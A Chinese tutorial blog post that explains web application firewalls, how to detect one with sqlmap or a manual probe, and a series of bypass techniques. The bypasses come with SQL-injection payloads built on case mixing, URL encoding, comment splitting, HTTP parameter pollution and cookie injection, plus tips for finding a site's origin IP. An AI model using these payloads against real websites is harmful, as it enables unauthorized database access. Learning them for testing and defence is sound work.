文末送书 | WAF 那些事

雨燕双飞 提交于 2021-02-13 02:25:23


Hi!,我是小小,这是小小本周的最后一篇,本篇将会介绍WAF的事情,本篇将会文末送书。在此小小举出小手,相当欢迎各位快点快点快点参加。

什么是WAF

WAF是一种产品,一种web应用防火墙,通过执行一定的策如,实现保护Web应用程序。

WAF分类

软件型WAF

软件型WAF是以软件的形式保护服务器上的文件内容,由于安装在服务器上,所以可以随时解除到服务器上的文件,直接检测到服务器上是否由webshell的创建,是否由木马,等。

硬件型WAF

以硬件的形式部署在链路中,支持多种部署方式,可以拦截恶意流量,可以监听拦截的记录,

云WAF

一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送给实际网站服务器进行请求,可以说是带防护功能的CDN。

网站系统内置的WAF

此时分为以下的几种

  1. 输入参数的强置类型转换
  2. 输入参数合法性校验。
  3. 关键函数执行的检测。
  4. 对输入流程的数据进行相关的过滤,再执行。

识别网站WAF的类型

SQLMap

python sqlmap.py -u "http://xxx.com/se/" --identify-waf --batch

使用SQLMap自带的WAF模块可以识别出WAF种类,输入SQL命令可以看到相应的识别的结果可以看到识别出WAF的类型为XXX Web Application Firewall。要想了解详细的识别规则可以查看SQLMap的WAF目录下的相关脚本,也可以按照其格式自主添加新的WAF识别规则,写好规则文件后直接放到WAF目录下即可。

手工判断

在URL后面直接加上基础的测试语句,例如

union select 1,2,3%23

或者相应的参数,如果别拦截,证明存在WAF,如果没有拦截,说明没有存在WAF。

绕过WAF方法

大小写

在规则匹配的时候,使用这种方式

uNion sElEct 1,2,3,4,5

URL编码

少数WAF不会对URL编码进行过滤如下所示

union select 1,2,3,4,5

替换为

%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35

替换关键字

替换一些关键字,例如select等关键字

ununionion selselectect 1,2,3,4,5

使用注释

添加注释绕过WAF

union/*2333*/select/*aaaa*/1, 2, 3, 4, 5

多参数请求拆分

对于多个参数拼接到同一条SQL语句的情况,可以进行拆分 例如请求URL时,GET参 数为如下格式。

a=[input1]&b=[input2]

将GET的参数a和参数b拼接到SQL语句中,SQL语句如下所示。

and a=[input1] and b=[input2]

这时就可以将注入语句进行拆分,如下所示。

a=union/*&b=*/select 1, 2, 3, 4

最终将参数a和参数b拼接,得到的SQL语句如下所示。

and a=union /*and b=*/select 1, 2, 3, 4

HTTP参数污染

HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,具体如表所示(例子以参数color=red&color= blue为例)在上述提到的中间线中,IIS比较容易利用,可以直接分割带逗号的SQL语句。在其余的中间件中,如果WAF只检测了同参数名中的第一个或最后一个,并且中间件特性正好取与WAF相反的参数,则可成功绕过。下面以IIS为例,一般的SQL注入语句如下所示。

Inject=union select 1, 2, 3, 4

将SQL注入语句转换为以下格式。

Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4

最终在IIS中读入的参数值将如下所示。

Inject=union/*,*/select/*,*/1, 2, 3, 4

生僻函数

使用生僻函数绕过

SELECT polygon((select*from (select*from(select@@version)f)x));

寻找网站源站IP

通过网站ip直接访问,绕过WAF 寻找网站源ip的方法

  1. 寻找网站的历史解析记录。
  2. 多个不同区域ping网站,查看IP解析的结果。
  3. 找网站的二级域名、NS、MX记录等对应的IP。
  4. 订阅网站邮件,查看邮件发送方的IP。

注入参数到cookie中

某些程序员在代码中使用

$_REQUEST

获取参数,而$_REQUEST会依次从GET/POST/cookie中获取参数,如果WAF只检测了GET/POST而没有检测cookie,可以将注入语句放入cookie中进行绕过。

送书

本次送书为 Node.js企业级应用开发实战

赠书数量为一本,联合的出版社为北京大学出版社,感谢北京大学出版社的支持。活动截止时间为2020年10月01日0点0分。活动规则:在10月01日0点0分之前,在本篇微信公众号文章下方进行评论,按照评论点赞数量最高的进行赠送。

结语

小小,双鱼座男,一枚文艺青年,你若不在,我必在,你若在,我也必在,我会永远的等你,我是小小,本篇结束,我们下期再见。

小明菜市场

推荐阅读


● 为什么系列之不能重写service方法

● 细说 | "失效"的private修饰符

● 知道 | 同学,你都了解关系型数据库,确定不了解一下这种数据库吗?

● 基础 | 零散的MySql基础记不住,看这一篇就够啦

 面试 | 你说你熟悉MySql,那你就来谈谈InnoDB如何解决幻读的?


给我个好看再走好吗?



本文分享自微信公众号 - 小明菜市场(fileGeek)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!